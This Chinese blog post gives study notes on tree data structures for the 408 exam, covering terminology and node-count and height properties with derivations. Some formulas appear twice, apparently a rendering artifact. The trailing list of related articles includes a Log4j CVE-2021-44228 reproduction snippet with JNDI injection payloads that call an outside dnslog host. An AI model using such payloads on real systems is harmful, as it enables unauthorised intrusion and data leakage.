408数据结构-树的基本概念与性质 自学知识点整理

树的定义

树是 n n n n ≥ 0 n≥0 n0)个结点的有限集。当 n = 0 n=0 n=0时,称为空树
任意一棵非空树应具有以下特性:

  1. 有且仅有一个特定的被称为的结点(根结点)。
  2. n > 1 n>1 n1时,其余结点可分为 m m m m > 0 m>0 m0)个互不相交的有限集 T 1 , T 2 , . . . , T m T_1, T_2, ... , T_m T1,T2,...,Tm,其中每个集合本身又是一棵树,称为根的子树

没有后继的结点称为“叶子结点”(或 叶结点/终端结点),有后继的结点称为“分支结点”(或 非终端结点)。

显然,树的定义是递归的,即树的定义中用到了其自身。树是一种递归的数据结构,其作为一种逻辑结构的同时也是一种分层结构,具有以下两个特点:

  1. 根结点是唯一没有前驱的结点。除了根结点外,其他所有结点有且只有一个前驱。
  2. 树中所有结点都可以有零个或多个后继。

由此可推算出,结点数为 n n n的树中有 n − 1 n-1 n1条边。(边是连接起树中两个结点之间的“线”)

关于树的基本术语(图片来自王道书)

王道书第五章的图

  • 祖先结点:对某一个结点来说,从根结点到这个结点的唯一路径上的所有其它结点,都是这个结点的祖先。例如,对 K K K结点来说,从根结点 A A A K K K的唯一路径是 A → B → E → K A→B→E→K ABEK,则结点 A , B , E A, B, E A,B,E都是结点 K K K的祖先结点。(已经想起LCA了……
  • 子孙结点:对某一个结点来说,这个结点的所有后继结点,及其后继结点的后继,后继的后继的后继……直到叶结点,都是这个结点的子孙。例如,对 B B B结点来说,它的子孙包括 E , F , K , L E, F, K, L E,F,K,L结点。而对于根结点来说,整棵树除了它本身,所有结点都是其子孙。
  • 双亲结点(父结点)&孩子结点:对某一个结点来说,其直接前驱被称为它的双亲,其直接后继则被称为它的孩子。例如,结点 B B B是结点 E E E的双亲结点(父结点),而结点 E E E是结点 B B B的孩子结点。根结点是树中唯一没有双亲的结点。
  • 兄弟结点&堂兄弟结点:对两个结点,若其拥有同一个双亲结点,则这两个结点互称兄弟。双亲在同一层的结点则互为堂兄弟。例如,对结点 E E E,结点 F F F与其互为兄弟结点,而结点 G , H , I , J G, H, I, J G,H,I,J与其互为堂兄弟结点。
  • 结点的度和树的度:树中一个结点的孩子个数称为该结点的,树中结点的最大度数称为树的。例如结点 B B B的度为 2 2 2,结点 D D D的度为 3 3 3,这棵树的度为 3 3 3。(叶结点的度为 0 0 0
  • 结点的深度、高度和层次:结点的层次从树根开始定义,根结点为第 1 1 1层,它的孩子为第 2 2 2层,以此类推。结点的深度就是该结点所在的层次。树的高度(或深度)是树中结点的最大层数。结点的高度是以该结点为根的子树的高度。换而言之,对一个结点来说,其深度是从上往下数的第几层,而高度是从下往上数的第几层。例如,结点 B B B的层数与深度为 2 2 2,高度为 3 3 3。图中的这棵树高度为 4 4 4。深度一般默认从 1 1 1开始计算,但是某些题目中也可能从 0 0 0开始,需要特别注意一下。
  • 有序树与无序树:若树中结点的各子树从左到右都是有次序的,不能互换,则称该树为有序树,否则为无序树
  • 路径和路径长度:树中两个结点之间的路径是由这两个结点之间所经过的结点序列构成的,而路径长度是路径上所经过的边的个数。
    (注:因为树中的分支是有向的,即从双亲指向孩子,所以树中的路径是从上向下的,同一双亲的两个孩子之间不存在路径。也就是说,一个结点与其兄弟或堂兄弟结点及这些结点的子孙结点之间都不存在路径)
  • 森林:森林 m m m m ≥ 0 m≥0 m0)棵互不相交的树的集合,当 m = 0 m=0 m=0时称为空森林。森林的概念与树的概念十分相近,因为只要把树的根结点删去,其子树的集合就构成了一个森林。反之,只要给 m m m棵独立的树加上一个结点,并把这 m m m棵树作为该结点的子树,则森林就成了树。

树的性质相关

常见考点1:结点数=总度数+1

结点的度指的是该结点的孩子数量,而每个结点与其每个孩子都由唯一的边相连,因此树中所有结点的度数之和等于树中的边数之和。树中除了根结点以外的结点都有唯一的双亲结点,因此结点数 n n n等于边数之和再加 1 1 1,也就是树的总结点数等于总度数 + 1 +1 +1,加的这个“ 1 1 1”就是根结点。

常见考点2:度为 m m m的树和 m m m叉树的区别

度为 m m m的树:

  • 任意结点的度 ≤ m ≤m m(最多 m m m个孩子)
  • 至少有一个结点的度 = m =m =m(有 m m m个孩子)
  • 一定是非空树,至少有 m + 1 m+1 m+1个结点( 1 1 1个根结点 + m +m +m个叶结点)

m m m叉树:

  • 任意结点的度 ≤ m ≤m m(最多 m m m个孩子)
  • 允许所有结点的度都 < m <m m
  • 可以是空树

常见考点3:度为 m m m的树第 i i i层至多有 m i − 1 m^{i-1} mi1个结点( i ≥ 1 i≥1 i1

这句话等价于“ m m m叉树的第 i i i层至多有 m i − 1 m^{i-1} mi1个结点( i ≥ 1 i≥1 i1)”。
1 1 1层:有 m 0 = 1 m^0=1 m0=1个结点,根结点。
2 2 2层:有 m 1 = m m^1=m m1=m个结点,当根结点的度为 m m m时。
3 3 3层:有 m 2 m^2 m2个结点,当根结点的度为 m m m,并且根结点的每个孩子结点的度都为 m m m时。
……
以此类推,到第 i i i层时,这一层至多有 m i − 1 m^{i-1} mi1个结点。
(下图来自王道考研408数据结构课程视频 - 树的性质)
图片来自王道考研408数据结构课程视频

常见考点4:高度为 h h h m m m叉树至多有 m h − 1 m − 1 \frac{{{m}^{h}}-1}{m-1} m1mh1个结点

由“常见考点 3 3 3”可知,当各层结点数达到最大时,高度为 h h h m m m叉树第i层有 m i − 1 m^{i-1} mi1个结点,对其求和,有:

∑ i = 1 h m i − 1 = m 1 ( 1 − m h ) 1 − m = m h − 1 m − 1 , m 1 = 1 \sum\limits_{i=1}^{h}{{{m}^{i-1}}}=\frac{{{m}_{1}}\left( 1-{{m}^{h}} \right)}{1-m}=\frac{{{m}^{h}}-1}{m-1},{{m}_{1}}=1 i=1hmi1=1mm1(1mh)=m1mh1,m1=1

一个简单的等比数列求和问题。

常见考点5:高度为 h h h m m m叉树至少有 h h h个结点

高度为 h h h m m m叉树,至少有 h h h个结点,即每一层只有 1 1 1个结点。
而高度为 h h h的度为 m m m的树,至少有 h + m − 1 h+m-1 h+m1个结点,即除第一层的某一层有 m m m个结点,其余层均只有 1 1 1个结点。

常见考点6:具有 n n n个结点的 m m m叉树的最小高度为 ⌈ log ⁡ m ( n ( m − 1 ) + 1 ) ⌉ \left\lceil {{\log }_{m}}\left( n\left( m-1 \right)+1 \right) \right\rceil logm(n(m1)+1)

要使 m m m叉树的高度最小,则每个结点要有尽可能多的孩子。
因此,设除叶结点的每个结点均有 m m m个孩子。由“常见考点 4 , 4, 4,”可知,高度为 h h h m m m叉树至多有 m h − 1 m − 1 \frac{{{m}^{h}}-1}{m-1} m1mh1个结点。假设这 n n n个结点有 h h h层,则有:

m h − 1 − 1 m − 1 < n ≤ m h − 1 m − 1 \frac{{{m}^{h-1}}-1}{m-1}<n\le \frac{{{m}^{h}}-1}{m-1} m1mh11<nm1mh1

因为 n n n一定要大于 h − 1 h-1 h1层的最大结点数,同时小于等于 h h h层的最大结点数,这样才能让这 n n n个结点满足有 h h h的条件。
对这个不等式同时乘以 m − 1 m-1 m1再加 1 1 1,得:

m h − 1 < n ( m − 1 ) + 1 ≤ m h {{m}^{h-1}}<n\left( m-1 \right)+1\le {{m}^{h}} mh1<n(m1)+1mh

再同时对 m m m取对数,有:

h − 1 < log ⁡ m [ n ( m − 1 ) + 1 ] ≤ h h-1<{{\log }_{m}}\left[ n\left( m-1 \right)+1 \right]\le h h1<logm[n(m1)+1]h

所以解得 h h h的取值范围为:

log ⁡ m [ n ( m − 1 ) + 1 ] ≤ h < log ⁡ m [ n ( m − 1 ) + 1 ] + 1 {{\log }_{m}}\left[ n\left( m-1 \right)+1 \right]\le h<{{\log }_{m}}\left[ n\left( m-1 \right)+1 \right]+1 logm[n(m1)+1]h<logm[n(m1)+1]+1

h h h的值满足: h min ⁡ = ⌈ log ⁡ m ( n ( m − 1 ) + 1 ) ⌉ {{h}_{\min}}=\left\lceil {{\log }_{m}}\left( n\left( m-1 \right)+1 \right) \right\rceil hmin=logm(n(m1)+1)(向上取整)时上式成立。


总结一下,考点 2 2 2和考点 4 , 5 4, 5 4,5需要重点掌握。其余知识点也应反复学习,结合课后习题强化记忆加深理解,不熟悉的概念多加练习后自然就能记住。
从这一章开始将会步入408数据结构中最难的部分,树和图我以前在打OI的时候就学的不太好,得打起精神来了。
关于二叉树的内容将放在下一篇博客里。
以上。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/831293.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PotatoPie 4.0 实验教程(32) —— FPGA实现摄像头图像浮雕效果

什么是浮雕效果&#xff1f; 浮雕效果是一种图像处理技术&#xff0c;用于将图像转换为看起来像浮雕一样的效果&#xff0c;给人一种凸起或凹陷的立体感觉&#xff0c;下面第二张图就是图像处理实现浮雕效果。 不过这个图是用Adobe公司的PS人工P图实现的&#xff0c;效果比较…

第一课 自动驾驶概述

1. contents 2. 什么是无人驾驶/自动驾驶 3 智慧出行大智慧 4. 无人驾驶的发展历程

Tracecat:开源 SOAR

Tracecat 是一个面向安全团队的开源自动化平台。 开发人员认为&#xff0c;每个人都应该可以使用安全自动化&#xff0c;特别是人手不足的中小型团队。 核心功能、用户界面和日常工作流程基于一流安全团队的现有最佳实践。 使用专门的人工智能模型来标记、总结和丰富警报。 …

Spark RDD的分区与依赖关系

Spark RDD的分区与依赖关系 RDD分区 RDD&#xff0c;Resiliennt Distributed Datasets&#xff0c;弹性式分布式数据集&#xff0c;是由若干个分区构成的&#xff0c;那么这每一个分区中的数据又是如何产生的呢&#xff1f;这就是RDD分区策略所要解决的问题&#xff0c;下面我…

<Linux> 权限

目录 权限人员相对于文件来说的分类更改权限文件的拥有者与所属组 权限 权限是操作系统用来限制对资源访问的机制&#xff0c;权限一般分为读、写、执行。系统中的每个文件都拥有特定的权限、所属用户及所属组&#xff0c;通过这样的机制来限制哪些用户、哪些组可以对特定文件…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

双向链表专题

文章目录 目录1. 双向链表的结构2. 双向链表的实现3. 顺序表和双向链表的优缺点分析 目录 双向链表的结构双向链表的实现顺序表和双向链表的优缺点分析 1. 双向链表的结构 注意&#xff1a; 这⾥的“带头”跟前面我们说的“头节点”是两个概念&#xff0c;带头链表里的头节点…

C#描述-计算机视觉OpenCV(3):重映射

C#描述-计算机视觉OpenCV&#xff08;3&#xff09;&#xff1a;重映射 前言色彩波形图像重映射 前言 C#描述-计算机视觉OpenCV&#xff08;1&#xff09;&#xff1a;基础操作 C#描述-计算机视觉OpenCV&#xff08;2&#xff09;&#xff1a;图像处理 在前文中&#xff0c;描…

UI-Diffuser——使用生成性人工智能的UI原型设计

概述。 移动UI是影响参与度的一个重要因素&#xff0c;例如用户对应用的熟悉程度和使用的便利性。如果你有一个类似的应用程序&#xff0c;你可能会选择一个具有现代、好看的设计的应用程序&#xff0c;而不是一个旧的设计。然而&#xff0c;要从头开始研究什么样的UI最适合应…

Java中使用Redis实现分布式锁的三种方式

1. 导语 随着软件开发领域的不断演进,并发性已经成为一个至关重要的方面,特别是在资源跨多个进程共享的分布式系统中。 在Java中,管理并发性对于确保数据一致性和防止竞态条件至关重要。 Redis作为一个强大的内存数据存储,为在Java应用程序中实现分布式锁提供了一种高效的…

静态库、动态库回顾

回顾一下库相关的知识点&#xff0c;总结备忘一下。在某种情况下&#xff0c;你有了如下的代码&#xff0c;结构如下 //pra.h #include <stdio.h> void test_01(); //pra.c #include "pra.h" void test_01() {printf("xxxxxxx----->%s %s()\n",…

typescript类型检查和原始类型

typescript类型检查和原始类型 类型检查 非严格类型是typescript默认的类型检查模式&#xff0c;在该模式下&#xff0c;类型检查的规则相对轻松&#xff0c;不会对undefined和null值做过多的限制&#xff0c;允许将undefined和null值赋给string类型的变量。进行JavaScript代…

【ChatGPT with Date】使用 ChatGPT 时显示消息时间的插件

文章目录 1. 介绍2. 使用方法2.1 安装 Tampermonkey2.2 安装脚本2.3 使用 3. 配置3.1 时间格式3.2 时间位置 4. 反馈5. 未来计划6. 开源协议7. 供给开发者自定义修改脚本的文档7.1 项目组织架构7.2 定义新的 Component(1) 定义一个新的 Component 类(2) 注册该 Component 7.3 一…

ICode国际青少年编程竞赛- Python-1级训练场-基本操作

ICode国际青少年编程竞赛- Python-1级训练场-基本操作 1、 Dev.step(3)2、 Dev.step(1)3、 Dev.step(7)4、 Dev.step(-1)5、 Dev.step(-5)6、 Dev.step(3) Dev.step(-8)7、 Dev.turnRight() Dev.step(1)8、 Dev.turnLeft() Dev.step(1)9、 Dev.step(4) Dev.tur…

自动找出字符串中有符号数字

需求 代码 class Solution:def myAtoi(self, s: str) -> int:s s.strip() # 删除首尾空格if not s: return 0 # 字符串为空则直接返回res, i, sign 0, 1, 1int_max, int_min, bndry 2 ** 31 - 1, -2 ** 31, 2 ** 31 // 10if s[0…

2024年 Java 面试八股文——SpringMVC篇

目录 1.简单介绍下你对springMVC的理解? 2.说一说SpringMVC的重要组件及其作用 3.SpringMVC的工作原理或流程 4.SpringMVC的优点 5.SpringMVC常用注解 6.SpringMVC和struts2的区别 7.怎么实现SpringMVC拦截器 8.SpringMvc的控制器是不是单例模式&#xff1f;如果是&am…

B树:原理、操作及应用

B树&#xff1a;原理、操作及应用 一、引言二、B树概述1. 定义与性质2. B树与磁盘I/O 三、B树的基本操作1. 搜索&#xff08;B-TREE-SEARCH&#xff09;2. 插入&#xff08;B-TREE-INSERT&#xff09;3. 删除&#xff08;B-TREE-DELETE&#xff09; 四、B树的C代码实现示例五、…

蓝桥杯练习系统(算法训练)ALGO-953 混合积

资源限制 内存限制&#xff1a;256.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 问题描述 众所周知&#xff0c;人人都在学习线性代数&#xff0c;既然都学过&#xff0c;那么解决本题应该很方便。   宇宙大战中&…

如何在postman上提交文件格式的数据

如何在postman上提交文件格式的数据 今天在写一个文件上传的功能接口时&#xff0c;想用postman进行提交&#xff0c;花了些时间才找到在postman提交文件格式的数据。记录一下吧&#xff01; 1.打开postman&#xff0c;选择POST提交方式&#xff0c;然后在Params那一行的Head…

数据分析--客户价值分析RFM(K-means聚类/轮廓系数)

原数据 import os import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns from sklearn import metrics ### 数据抽取&#xff0c;读⼊数据 df pd.read_csv("customers1997.csv") #相对路径读取数据 print(df.info()) pr…